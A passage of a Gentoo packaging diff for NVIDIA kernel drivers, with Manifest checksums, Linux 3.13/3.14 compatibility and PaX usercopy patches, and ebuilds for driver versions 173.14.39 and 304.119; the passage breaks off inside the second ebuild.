+DIST NVIDIA-Linux-x86-173.14.39-pkg0.run 15134997 SHA256 a09935f37121ed3db8ae3da63a0d8e9d4348a19c859811c9fe44d6ce8e3eab23 SHA512 e24e15ccec725d3cbca502c2b77061776a81ef92917a950adec4ff6bdc34f10903aa654433177ea74be0dade4af81c5380d5710d375a5ea445940d06154bde93 WHIRLPOOL fce3d8e4f6cdf698f5a057514b6fe220bb1011025bdce5bd4cf0e424fb4d306d38251b6726bda03f290ea8137d5a95ed418cf8751722879f9042462abd9181b6
+DIST NVIDIA-Linux-x86-304.121.run 40081628 SHA256 25ee2e45bd1f728b9de30a88575dadea210549d812944fff2026cf192ea4c52d SHA512 a3848474f7996c260fb3f2692d2c35b17738d6f13fd20fcd49e52bd6b7fcefb91b436ebf0670579aa5cb7d250f5d2eb6ce28b4c087fa5c33373a2da91c42138f WHIRLPOOL 1fd3c0e8f397a9bc58011bbe8d830df9f46370bcb85c9df0e1155ced1d85f9106dd30fae9d708ff94ce92ebe04fa68e6d8ac32ae19840b92e0d3d29553e1ab85
+DIST NVIDIA-Linux-x86-304.123.run 40250272 SHA256 d5034900173cb7195f52bd6add5bf574dfcd8868bd75c0e1793592c03b97f425 SHA512 7397a28c67a3cfc5ad58f079ced4c45639922c39008d606ca703c22dde34374c4942c894eec49d42187cf00cb0179e3dcf80edd28a81c4c89456a62e42f12b43 WHIRLPOOL 8b55196678cddba5e640f90525d69835c273befe01e4e1a87c00a21839e9a86bc68829a3c59c64609c47475466a158f43d8579897728cabe6b6bc0eadef62e2b
+DIST NVIDIA-Linux-x86-331.67.run 37064511 SHA256 696b4a574ad3cb2b3286e0848e7e831940110cc33c63de51890154dbbd31acc6 SHA512 2a17854b366aa67a398c8d66134fb78d0ccdf4a6b2fe874bb7c146cfd24501431ed7448f5b7e24c8f78c6b1f6c2d5da207fbf568c2135ef53e51e83ce02cc374 WHIRLPOOL 4ad64717eb43043bacfbecdd6efe38bc5bf598acf172984e7c3eb1dcd779a9cbe53a76ac6e7b94b1d950d1f279147ceee4037d89be589fef2219d826eb86d09e
+DIST NVIDIA-Linux-x86-337.19.run 37872888 SHA256 f612f1a8a3ddaf867d52930a7292b75b811f56c3c12a0a70e1f6800363c640da SHA512 644b1491eaa61336af43eb2b5ff5eaaee4316936e9de97b64f84228b432428300770976a5ea0a461dd01f97d444ab8242480bc6b0265e7cba3b75f3d7a07a1bd WHIRLPOOL b347503614818df9c87ffa0ec1a123c339aa4b616dec58087b8e45cfdc229662bdc661dbd9fb68fd2ca19af5fb7d363540a2c440e9d854faf7728902d52f3dbd
+DIST NVIDIA-Linux-x86-337.25.run 37649836 SHA256 f76ece6bd98bfe2ae641a1847094e98c6f7ad7a01af682b4f38108d6b6227f9b SHA512 f68105a43f9129f4112c8a091ed7c9641708b62d20c199544e5e7079d5c5bdc0b6c83427be868e62c7134400ca62cab6a65eaff96ddb940768750250cbd50112 WHIRLPOOL 1ff92ffe33dad59bf393a7b6fe7523362433704dc8329701e74814c2eef833d15e44334264601080b90f723f5390ce6502fa3ed530fe9fadaf3efff139e65047
+DIST NVIDIA-Linux-x86-340.24.run 38451146 SHA256 55ed96acf22b6f67ce352576e73963730eb6a404df7ee8563d7dc1984d8fb130 SHA512 fc2bdd4346cb09607f20fa30c026fac302d0660a90f79192f41cf0c7f92877d8a1686fb3125996f2fc96884d6c1b886de9bf95cf2a5fe31068ba2a43d677c61e WHIRLPOOL 4a165fec8835fbd3aa36e3075140bbcd1b4e3ae76b4763bd9f17e4522c95bbbcc7686de6d1219a293d93804471b56c4b3f8a31f10f62227a8eec59457b747e10
+DIST NVIDIA-Linux-x86-340.32.run 38587515 SHA256 1d0489c35c5b332c9b949d9de3c3cbab4ac3a94385aa41e7a7b62ef23f4395f5 SHA512 a67e57a1bd70a9cd5ae2bed70403920ed94d8eac9d08dcd380f6065cd597d5824e26ae25a0bcd56626190124c07d128f3b0429040794c8e8d3ead85860fcb646 WHIRLPOOL 66bf6db27edddae845606e82cf9397dbf483bbde23e97899575c8ac3f6ce86c84d88f8e60c60b1aad1360fe9bea4f43de030a849f88f43d482508de23cd24d8e
+DIST NVIDIA-Linux-x86_64-173.14.39-pkg2.run 21100833 SHA256 15a953666d5681ba54c97498b578ffd286a1dc96d605f3b02110f3f99813100e SHA512 a65cd496e6ed57f771c3d99f37f616a1242d97844f6faef7a807825ad899c0e536a99fde397020839f0857883b934032f9491024f3047a6b06d3eea1f5d77713 WHIRLPOOL dc5f243b7d1de7e2d1b7f005e018a2940d63335b11a7c83c234b348b7a1839e9131169d2ea928bd8c2f549a4535149b03e16e6c94d59dfa745f7f904ff790a45
+DIST NVIDIA-Linux-x86_64-304.121.run 68553265 SHA256 6532eef8b6f65dc44ed912b4ffa86494a954ae98f53c3ffd394fa511cdf75928 SHA512 d5d241043dab325aee209bcd8732c557250847f41408e1aded2026c849dddbc7d5cf3c42fc63e3bb6b81c2563359c763f902bbfe344258f0964fdc9edcb98d54 WHIRLPOOL ec7ea87171a22dfb73e0e9db48d0ac721a7be9d12c06073a481868690741afe34ffa861967ba919a13aafc9c83f55627c361e7b261a8fa0acce2d880545d2fb4
+DIST NVIDIA-Linux-x86_64-304.123.run 68755898 SHA256 68ee60d2a96ff80adad7e62f79f55f137dd10b8c38ce6c60fb481e73fdf6b155 SHA512 b16df726e8ba48153fcea337ab198c913eaa9f1dd004bed5c4262731e12c5a7c775c2a31996e207d051e4e479b7eb5173fcffe07d9988877385503f940e15dd8 WHIRLPOOL e9fe629dd262e68fe776c28fd93b4923d03681b2761265383becf914e84429f094b311b6e02051d2fb61436d48a59051d20fe9c8803fe7ed7daf98cd936f0dab
+DIST NVIDIA-Linux-x86_64-331.67.run 60231750 SHA256 9c7f2bb44bb26a5effb915d8aa22132a6c06483e0cfa6f47b7265b15da83bbd7 SHA512 7368a60c282386bc5b68599cacd07a18a9be4c3fd624eac9eb92966221318723c3f44ae033163789eae1ae683e729d49268769e79c465aca6632c5a7e6d6942a WHIRLPOOL 552f590257e3e1e53b83563aeea840a78869c10ea2707cea779da99ec726cc17398fada84379537ac2e6a7dc8a653c8b00141ab35adb10a5a49d0da565c2eb73
+DIST NVIDIA-Linux-x86_64-337.19.run 68351793 SHA256 bd6998c4aa5e491fb8fcb957b11dfb983ebfb755e938fce0382b006a7aba59d2 SHA512 a3e01705a5c2b3a18e1ea1f5e9dc12043e2fd3b433ca2f76d45add137e5b3d44082bd790486615bd4a58473ba642d7ebc29abe848bee686e1478d7a3f57429a5 WHIRLPOOL 3d8e0192f3f0aeb4bf2699a567d1b41a1536f29331a89387f28bfd2335d8147ef9d6c4cbff8fe8d239ca15473e5d68c5ddb55f38a7f979ad0d81b66bcf13b068
+DIST NVIDIA-Linux-x86_64-337.25.run 68053486 SHA256 83280f7738f65bb2e790e7530a38978cf0bd0aa741eda51629c9e9b068128af0 SHA512 27cb5030da00d6fa2a2dd6701cc149ce885e7ff7e7ca4f1629c27737357fdadedec41e830f5cacabef14646515d6d2729f753d78424260316e28111f2c3e53b9 WHIRLPOOL 72eba5239ae7272d3501403ef292f0e131896b3dd852a7e2423e79206d99aa5a4a3b98eb4193ad5cd1e0247ffd48189d3a3ba02ca307a759a4f15b9c9a386dbd
+DIST NVIDIA-Linux-x86_64-340.24.run 69647833 SHA256 db0f4f45ece587b95a8ceb0d1acf6f7f758a370ee0c4adfa2403ba4828d58ce6 SHA512 c6f0b69786cc4be96e2d6e44d35b52758df990b51e826bea86ff626e31d853b3b5c774db8ccc881bed24d638e9c1afb903ed98d7f35a73d549ce812bdae459f7 WHIRLPOOL 25d3621d98ec012afdc3d5a0614292992d0569f3d5df38f127fe79a00fbdf25b2b548ddbdc01d59806d301a454fe79ee90e63ac1574e911aa51985e6c7bfd4d7
+DIST NVIDIA-Linux-x86_64-340.32.run 69753673 SHA256 ef96003110564953cad4ffaec073696dcf9652338dfe5eb0c58ae3ce45db42ac SHA512 24c2dec161022bd229862ad66711232cf6424a0bd1eb056d7eb22a34e265d4b1f6208779cf507b480189f95f795d580a30ec5f8ab1bff549d2a41a57adcc14b4 WHIRLPOOL 6422498998253003fc1e1d6396449d2fe35b5836a083a254d9d7439434e5a3e1cf55afbcc3860a234ee9b3d0a1b18b9c58e4946107465559f0dcb121ef796e5a
diff --git a/x11-drivers/nvidia-drivers/files/nvidia-drivers-173-3.13.patch b/x11-drivers/nvidia-drivers/files/nvidia-drivers-173-3.13.patch
new file mode 100644
index 00000000..ab3de168
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/files/nvidia-drivers-173-3.13.patch
@@ -0,0 +1,13 @@
+--- a/usr/src/nv/nvacpi.c
++++ b/usr/src/nv/nvacpi.c
+@@ -303,7 +307,10 @@ static int nv_acpi_remove(struct acpi_de
+
+ if (pNvAcpiObject->notify_handler_installed)
+ {
++#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 13, 0)
++ /* beginning with 3.13, acpi_remove_notify_handler() waits for events to finish */
+ NV_ACPI_OS_WAIT_EVENTS_COMPLETE();
++#endif
+
+ // remove event notifier
+ status = acpi_remove_notify_handler(device->handle, ACPI_DEVICE_NOTIFY, nv_acpi_event);
diff --git a/x11-drivers/nvidia-drivers/files/nvidia-drivers-173-3.14.patch b/x11-drivers/nvidia-drivers/files/nvidia-drivers-173-3.14.patch
new file mode 100644
index 00000000..47bb70bc
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/files/nvidia-drivers-173-3.14.patch
@@ -0,0 +1,12 @@
+--- a/usr/src/nv/nv-linux.h
++++ b/usr/src/nv/nv-linux.h
+@@ -206,8 +206,7 @@ extern int nv_pat_mode;
+ #endif
+
+ #if defined(CONFIG_ACPI)
+-#include <acpi/acpi.h>
+-#include <acpi/acpi_drivers.h>
++#include <linux/acpi.h>
+ #if defined(NV_ACPI_DEVICE_OPS_HAS_MATCH) || defined(ACPI_VIDEO_HID)
+ #define NV_LINUX_ACPI_EVENTS_SUPPORTED 1
+ #endif
diff --git a/x11-drivers/nvidia-drivers/files/nvidia-drivers-3.13.patch b/x11-drivers/nvidia-drivers/files/nvidia-drivers-3.13.patch
new file mode 100644
index 00000000..69c1ef85
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/files/nvidia-drivers-3.13.patch
@@ -0,0 +1,35 @@
+--- a/kernel/nv-acpi.c
++++ b/kernel/nv-acpi.c
+@@ -303,7 +307,10 @@ static int nv_acpi_remove(struct acpi_de
+
+ if (pNvAcpiObject->notify_handler_installed)
+ {
++#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 13, 0)
++ /* beginning with 3.13, acpi_remove_notify_handler() waits for events to finish */
+ NV_ACPI_OS_WAIT_EVENTS_COMPLETE();
++#endif
+
+ // remove event notifier
+ status = acpi_remove_notify_handler(device->handle, ACPI_DEVICE_NOTIFY, nv_acpi_event);
+--- a/kernel/uvm/nvidia_uvm_linux.h
++++ b/kernel/uvm/nvidia_uvm_linux.h
+@@ -405,11 +405,17 @@ typedef void irqreturn_t;
+ // not require the RCU's read lock on current->cred.
+ //
+ //
++#if LINUX_VERSION_CODE >= KERNEL_VERSION(3, 5, 0)
++#define NV_KUID_TO_UID(value) (__kuid_val(value))
++#else
++#define NV_KUID_TO_UID(value) (value)
++#endif
++
+ #if defined(NV_TASK_STRUCT_HAS_CRED)
+ #define NV_CURRENT_EUID() \
+- (((typeof(*current->cred) __force __kernel *)current->cred)->euid)
++ NV_KUID_TO_UID(((typeof(*current->cred) __force __kernel *)current->cred)->euid)
+ #else
+-#define NV_CURRENT_EUID() (current->euid)
++#define NV_CURRENT_EUID() NV_KUID_TO_UID(current->euid)
+ #endif
+
+ #define NV_ATOMIC_SET(data,val) atomic_set(&(data), (val))
diff --git a/x11-drivers/nvidia-drivers/files/nvidia-drivers-3.14.patch b/x11-drivers/nvidia-drivers/files/nvidia-drivers-3.14.patch
new file mode 100644
index 00000000..48df3cba
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/files/nvidia-drivers-3.14.patch
@@ -0,0 +1,12 @@
+--- a/kernel/nv-linux.h
++++ b/kernel/nv-linux.h
+@@ -273,8 +273,7 @@
+ #endif
+
+ #if !defined(NV_VMWARE) && defined(CONFIG_ACPI)
+-#include <acpi/acpi.h>
+-#include <acpi/acpi_drivers.h>
++#include <linux/acpi.h>
+ #if defined(NV_ACPI_DEVICE_OPS_HAS_MATCH) || defined(ACPI_VIDEO_HID)
+ #define NV_LINUX_ACPI_EVENTS_SUPPORTED 1
+ #endif
diff --git a/x11-drivers/nvidia-drivers/files/nvidia-drivers-304-3.13.patch b/x11-drivers/nvidia-drivers/files/nvidia-drivers-304-3.13.patch
new file mode 100644
index 00000000..90b10036
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/files/nvidia-drivers-304-3.13.patch
@@ -0,0 +1,13 @@
+--- a/kernel/nv-acpi.c
++++ b/kernel/nv-acpi.c
+@@ -303,7 +307,10 @@ static int nv_acpi_remove(struct acpi_de
+
+ if (pNvAcpiObject->notify_handler_installed)
+ {
++#if LINUX_VERSION_CODE < KERNEL_VERSION(3, 13, 0)
++ /* beginning with 3.13, acpi_remove_notify_handler() waits for events to finish */
+ NV_ACPI_OS_WAIT_EVENTS_COMPLETE();
++#endif
+
+ // remove event notifier
+ status = acpi_remove_notify_handler(device->handle, ACPI_DEVICE_NOTIFY, nv_acpi_event);
diff --git a/x11-drivers/nvidia-drivers/files/nvidia-drivers-331.13-pax-usercopy.patch b/x11-drivers/nvidia-drivers/files/nvidia-drivers-331.13-pax-usercopy.patch
new file mode 100644
index 00000000..9777ce6c
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/files/nvidia-drivers-331.13-pax-usercopy.patch
@@ -0,0 +1,52 @@
+--- a/kernel/nv-linux.h
++++ b/kernel/nv-linux.h
+@@ -757,16 +757,16 @@
+
+ #if defined(NV_KMEM_CACHE_CREATE_PRESENT)
+ #if (NV_KMEM_CACHE_CREATE_ARGUMENT_COUNT == 6)
+-#define NV_KMEM_CACHE_CREATE(kmem_cache, name, type) \
++#define NV_KMEM_CACHE_CREATE(kmem_cache, name, type, flags) \
+ { \
+ kmem_cache = kmem_cache_create(name, sizeof(type), \
+- 0, 0, NULL, NULL); \
++ 0, flags, NULL, NULL); \
+ }
+ #elif (NV_KMEM_CACHE_CREATE_ARGUMENT_COUNT == 5)
+-#define NV_KMEM_CACHE_CREATE(kmem_cache, name, type) \
++#define NV_KMEM_CACHE_CREATE(kmem_cache, name, type, flags) \
+ { \
+ kmem_cache = kmem_cache_create(name, sizeof(type), \
+- 0, 0, NULL); \
++ 0, flags, NULL); \
+ }
+ #else
+ #error "NV_KMEM_CACHE_CREATE_ARGUMENT_COUNT value unrecognized!"
+--- a/kernel/nv.c
++++ b/kernel/nv.c
+@@ -794,7 +794,7 @@
+ NV_SPIN_LOCK_INIT(&km_lock);
+ #endif
+
+- NV_KMEM_CACHE_CREATE(nv_stack_t_cache, NV_STACK_CACHE_STR, nv_stack_t);
++ NV_KMEM_CACHE_CREATE(nv_stack_t_cache, NV_STACK_CACHE_STR, nv_stack_t, SLAB_USERCOPY);
+ if (nv_stack_t_cache == NULL)
+ {
+ nv_printf(NV_DBG_ERRORS, "NVRM: stack cache allocation failed!\n");
+@@ -924,7 +924,7 @@
+ nv->os_state = (void *) &nv_ctl_device;
+ nv_lock_init_locks(nv);
+
+- NV_KMEM_CACHE_CREATE(nv_pte_t_cache, NV_PTE_CACHE_STR, nv_pte_t);
++ NV_KMEM_CACHE_CREATE(nv_pte_t_cache, NV_PTE_CACHE_STR, nv_pte_t, 0);
+ if (nv_pte_t_cache == NULL)
+ {
+ rc = -ENOMEM;
+@@ -935,7 +935,7 @@
+ if (NV_BUILD_MODULE_INSTANCES == 0)
+ {
+ NV_KMEM_CACHE_CREATE(nvidia_p2p_page_t_cache, "nvidia_p2p_page_t",
+- nvidia_p2p_page_t);
++ nvidia_p2p_page_t, 0);
+ if (nvidia_p2p_page_t_cache == NULL)
+ {
+ rc = -ENOMEM;
diff --git a/x11-drivers/nvidia-drivers/nvidia-drivers-173.14.39.ebuild b/x11-drivers/nvidia-drivers/nvidia-drivers-173.14.39.ebuild
new file mode 100644
index 00000000..0c57deb1
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/nvidia-drivers-173.14.39.ebuild
@@ -0,0 +1,211 @@
+# Copyright 1999-2010 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=5
+
+inherit eutils unpacker portability versionator linux-mod flag-o-matic nvidia-driver
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+
+DESCRIPTION="NVIDIA GPUs kernel drivers"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( ftp://download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}-pkg0.run )
+ amd64? ( ftp://download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}-pkg2.run )
+ x86-fbsd? ( ftp://download.nvidia.com/freebsd/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd"
+IUSE="acpi custom-cflags multilib kernel_linux"
+RESTRICT="strip"
+
+DEPEND="kernel_linux? ( virtual/linux-sources )"
+RDEPEND="<x11-base/xorg-server-1.15.99
+ ~x11-drivers/nvidia-userspace-${PV}
+ multilib? ( ~x11-drivers/nvidia-userspace-${PV}[multilib] )
+ acpi? ( sys-power/acpid )"
+PDEPEND=""
+
+if use x86; then
+ PKG_V="-pkg0"
+ NV_PACKAGE="${X86_NV_PACKAGE}"
+elif use amd64; then
+ PKG_V="-pkg2"
+ NV_PACKAGE="${AMD64_NV_PACKAGE}"
+elif use x86-fbsd; then
+ PKG_V=""
+ NV_PACKAGE="${X86_FBSD_NV_PACKAGE}"
+fi
+
+S="${WORKDIR}/${NV_PACKAGE}${PKG_V}"
+
+mtrr_check() {
+ ebegin "Checking for MTRR support"
+ linux_chkconfig_present MTRR
+ eend $?
+
+ if [[ $? -ne 0 ]] ; then
+ eerror "Please enable MTRR support in your kernel config, found at:"
+ eerror
+ eerror " Processor type and features"
+ eerror " [*] MTRR (Memory Type Range Register) support"
+ eerror
+ eerror "and recompile your kernel ..."
+ die "MTRR support not detected!"
+ fi
+}
+
+lockdep_check() {
+ if linux_chkconfig_present LOCKDEP; then
+ eerror "You've enabled LOCKDEP -- lock tracking -- in the kernel."
+ eerror "Unfortunately, this option exports the symbol 'lockdep_init_map' as GPL-only"
+ eerror "which will prevent ${P} from compiling."
+ eerror "Please make sure the following options have been unset:"
+ eerror " Kernel hacking --->"
+ eerror " [ ] Lock debugging: detect incorrect freeing of live locks"
+ eerror " [ ] Lock debugging: prove locking correctness"
+ eerror " [ ] Lock usage statistics"
+ eerror "in 'menuconfig'"
+ die "LOCKDEP enabled"
+ fi
+}
+
+pkg_setup() {
+ if use kernel_linux; then
+ linux-mod_pkg_setup
+ MODULE_NAMES="nvidia(video:${S}/usr/src/nv)"
+ BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+ SYSOUT=${KV_OUT_DIR} HOST_CC=$(tc-getBUILD_CC)"
+ # linux-mod_src_compile calls set_arch_to_kernel, which
+ # sets the ARCH to x86 but NVIDIA's wrapping Makefile
+ # expects x86_64 or i386 and then converts it to x86
+ # later on in the build process
+ BUILD_FIXES="ARCH=$(uname -m | sed -e 's/i.86/i386/')"
+ mtrr_check
+ lockdep_check
+ fi
+
+ # On BSD userland it wants real make command
+ use userland_BSD && MAKE="$(get_bmake)"
+
+ export _POSIX2_VERSION="199209"
+
+ # Since Nvidia ships 3 different series of drivers, we need to give the user
+ # some kind of guidance as to what version they should install. This tries
+ # to point the user in the right direction but can't be perfect. check
+ # nvidia-driver.eclass
+ nvidia-driver-check-warning
+
+ # set variables to where files are in the package structure
+ if use kernel_FreeBSD; then
+ NV_SRC="${S}/src"
+ elif use kernel_linux; then
+ NV_SRC="${S}/usr/src/nv"
+ else
+ die "Could not determine proper NVIDIA package"
+ fi
+}
+
+src_unpack() {
+ if use kernel_linux && kernel_is lt 2 6 7; then
+ echo
+ ewarn "Your kernel version is ${KV_MAJOR}.${KV_MINOR}.${KV_PATCH}"
+ ewarn "This is not officially supported for ${P}. It is likely you"
+ ewarn "will not be able to compile or use the kernel module."
+ ewarn "It is recommended that you upgrade your kernel to a version >= 2.6.7"
+ echo
+ ewarn "DO NOT file bug reports for kernel versions less than 2.6.7 as they will be ignored."
+ fi
+
+ if ! use x86-fbsd; then
+ mkdir "${S}"
+ cd "${S}"
+ unpack_makeself
+ else
+ unpack ${A}
+ fi
+}
+
+src_prepare() {
+ # Please add a brief description for every added patch
+ use x86-fbsd && cd doc
+
+ if use kernel_linux; then
+ # Quiet down warnings the user does not need to see
+ sed -i \
+ -e 's:-Wpointer-arith::g' \
+ -e 's:-Wsign-compare::g' \
+ "${NV_SRC}"/Makefile.kbuild
+
+ # If you set this then it's your own fault when stuff breaks :)
+ use custom-cflags && sed -i "s:-O:${CFLAGS}:" "${NV_SRC}"/Makefile.*
+
+ # If greater than 2.6.5 use M= instead of SUBDIR=
+ convert_to_m "${NV_SRC}"/Makefile.kbuild
+ fi
+
+ # Linux 3.13 support
+ epatch "${FILESDIR}/nvidia-drivers-173-3.13.patch"
+
+ # Linux 3.14 support
+ kernel_is ge 3 14 0 && epatch "${FILESDIR}/${PN}-173-3.14.patch"
+}
+
+src_compile() {
+ # This is already the default on Linux, as there's no toplevel Makefile, but
+ # on FreeBSD there's one and triggers the kernel module build, as we install
+ # it by itself, pass this.
+
+ cd "${NV_SRC}"
+ if use x86-fbsd; then
+ MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+ LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+ elif use kernel_linux; then
+ linux-mod_src_compile
+ fi
+}
+
+src_install() {
+ if use kernel_linux; then
+ linux-mod_src_install
+ elif use x86-fbsd; then
+ insinto /boot/modules
+ doins "${WORKDIR}/${NV_PACKAGE}/src/nvidia.kld" || die
+
+ exeinto /boot/modules
+ doexe "${WORKDIR}/${NV_PACKAGE}/src/nvidia.ko" || die
+ fi
+}
+
+pkg_preinst() {
+ if use kernel_linux; then
+ linux-mod_pkg_postinst
+ fi
+}
+
+pkg_postinst() {
+ if use kernel_linux; then
+ linux-mod_pkg_postinst
+ fi
+
+ echo
+ elog "You must be in the video group to use the NVIDIA device"
+ elog "For more info, read the docs at"
+ elog "http://www.gentoo.org/doc/en/nvidia-guide.xml#doc_chap3_sect6"
+ elog
+
+ elog "This package installs a kernel module and X driver. Both must"
+ elog "match explicitly in their version. This means, if you restart"
+ elog "X, you must modprobe -r nvidia before starting it back up"
+ elog
+ echo
+}
+
+pkg_postrm() {
+ if use kernel_linux; then
+ linux-mod_pkg_postrm
+ fi
+}
diff --git a/x11-drivers/nvidia-drivers/nvidia-drivers-304.119.ebuild b/x11-drivers/nvidia-drivers/nvidia-drivers-304.119.ebuild
new file mode 100644
index 00000000..552d3b51
--- /dev/null
+++ b/x11-drivers/nvidia-drivers/nvidia-drivers-304.119.ebuild
@@ -0,0 +1,190 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils flag-o-matic linux-info linux-mod multilib nvidia-driver \
+ portability toolchain-funcs unpacker user versionator
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+AMD64_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86_64-${PV}"
+
+DESCRIPTION="NVIDIA GPUs kernel drivers"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( ftp://download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+ amd64? ( ftp://download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+ amd64-fbsd? ( ftp://download.nvidia.com/XFree86/FreeBSD-x86_64/${PV}/${AMD64_FBSD_NV_PACKAGE}.tar.gz )
+ x86-fbsd? ( ftp://download.nvidia.com/XFree86/FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~amd64-fbsd ~x86-fbsd"
+IUSE="acpi custom-cflags multilib x-multilib kernel_FreeBSD kernel_linux pax_kernel tools X"
+RESTRICT="strip"
+
+DEPEND="kernel_linux? ( virtual/linux-sources )"
+RDEPEND="~x11-drivers/nvidia-userspace-${PV}
+ x-multilib? ( ~x11-drivers/nvidia-userspace-${PV}[x-multilib] )
+ multilib? ( ~x11-drivers/nvidia-userspace-${PV}[multilib] )
+ ~x11-drivers/nvidia-userspace-${PV}[tools=]
+ ~x11-drivers/nvidia-userspace-${PV}[X=]"
+PDEPEND=""
+
+S="${WORKDIR}/"
+
+mtrr_check() {
+ ebegin "Checking for MTRR support"
+ linux_chkconfig_present MTRR
+ eend $?
+
+ if [[ $? -ne 0 ]] ; then
+ eerror "Please enable MTRR support in your kernel config, found at:"
+ eerror
+ eerror " Processor type and features"
+ eerror " [*] MTRR (Memory Type Range Register) support"
+ eerror
+ eerror "and recompile your kernel ..."
+ die "MTRR support not detected!"
+ fi
+}
+
+lockdep_check() {
+ # Kernel features/options to check for
+ CONFIG_CHECK="~ZONE_DMA ~MTRR ~SYSVIPC ~!LOCKDEP"
+ use x86 && CONFIG_CHECK+=" ~HIGHMEM"
+
+ # Now do the above checks
+ use kernel_linux && check_extra_config
+}
+
+pkg_setup() {
+ # try to turn off distcc and ccache for people that have a problem with it
+ export DISTCC_DISABLE=1
+ export CCACHE_DISABLE=1
+
+ if use kernel_linux; then
+ linux-mod_pkg_setup
+ MODULE_NAMES="nvidia(video:${S}/kernel)"
+ BUILD_PARAMS="IGNORE_CC_MISMATCH=yes V=1 SYSSRC=${KV_DIR} \
+ SYSOUT=${KV_OUT_DIR} CC=$(tc-getBUILD_CC)"
+ # linux-mod_src_compile calls set_arch_to_kernel, which
+ # sets the ARCH to x86 but NVIDIA's wrapping Makefile
+ # expects x86_64 or i386 and then converts it to x86
+ # later on in the build process
+ BUILD_FIXES="ARCH=$(uname -m | sed -e 's/i.86/i386/')"
+ fi
+
+ # Since Nvidia ships 3 different series of drivers, we need to give the user
+ # some kind of guidance as to what version they should install. This tries
+ # to point the user in the right direction but can't be perfect. check
+ # nvidia-driver.eclass
+ nvidia-driver-check-warning
+
+ # set variables to where files are in the package structure
+ if use kernel_FreeBSD; then
+ use x86-fbsd && S="${WORKDIR}/${X86_FBSD_NV_PACKAGE}"
+ use amd64-fbsd && S="${WORKDIR}/${AMD64_FBSD_NV_PACKAGE}"
+ NV_SRC="${S}/src"
+ NV_SOVER=1
+ elif use kernel_linux; then
+ NV_SRC="${S}/kernel"
+ NV_SOVER=${PV}
+ else
+ die "Could not determine proper NVIDIA package"
+ fi
+}
+
+src_unpack() {
+ if ! use kernel_FreeBSD; then
+ cd "${S}"
+ unpack_makeself
+ else
+ unpack ${A}
+ fi
+}
+
+src_prepare() {
+ # Please add a brief description for every added patch
+
+ if use kernel_linux; then
+ if kernel_is lt 2 6 9 ; then
+ eerror "You must build this against 2.6.9 or higher kernels."
+ fi
+
+ # If greater than 2.6.5 use M= instead of SUBDIR=
+ convert_to_m "${NV_SRC}"/Makefile.kbuild
+ fi
+ if use pax_kernel; then
+ ewarn "Using PAX patches is not supported. You will be asked to"
+ ewarn "use a standard kernel should you have issues. Should you"
+ ewarn "need support with these patches, contact the PaX team."
+ epatch "${FILESDIR}"/nvidia-drivers-pax-const.patch
+ epatch "${FILESDIR}"/nvidia-drivers-pax-usercopy.patch
+ fi
+ cat <<- EOF > "${S}"/nvidia.icd
+ /usr/$(get_libdir)/libnvidia-opencl.so
+ EOF
+
+ # Linux 3.13 support
+ epatch "${FILESDIR}/nvidia-drivers-304-3.13.patch"
+
+ # Allow user patches so they can support RC kernels and whatever else
+ epatch_user
+}
+
+src_compile() {
+ # This is already the default on Linux, as there's no toplevel Makefile, but
+ # on FreeBSD there's one and triggers the kernel module build, as we install
+ # it by itself, pass this.
+
+ cd "${NV_SRC}"
+ if use kernel_FreeBSD; then
+ MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+ LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+ elif use kernel_linux; then
+ linux-mod_src_compile
+ fi
+}
+
+src_install() {
+ if use kernel_linux; then
+ linux-mod_src_install
+ elif use kernel_FreeBSD; then
+ if use x86-fbsd; then
+ insinto /boot/modules
+ doins "${S}/src/nvidia.kld" || die
+ fi
+
+ exeinto /boot/modules
+ doexe "${S}/src/nvidia.ko" || die
+ fi
+
+ is_final_abi || die "failed to iterate through all ABIs"
+}
+
+pkg_preinst() {
+ use kernel_linux && linux-mod_pkg_preinst
+}
+
+pkg_postinst() {
+ use kernel_linux && linux-mod_pkg_postinst
+
+ echo
+ elog "You must be in the video group to use the NVIDIA device"
+ elog "For more info, read the docs at"
+ elog "http://www.gentoo.org/doc/en/nvidia-guide.xml#doc_chap3_sect6"
+ elog
+
+ elog "This package installs a kernel module and X driver. Both must"
+ elog "match explicitly in their version. This means, if you restart"
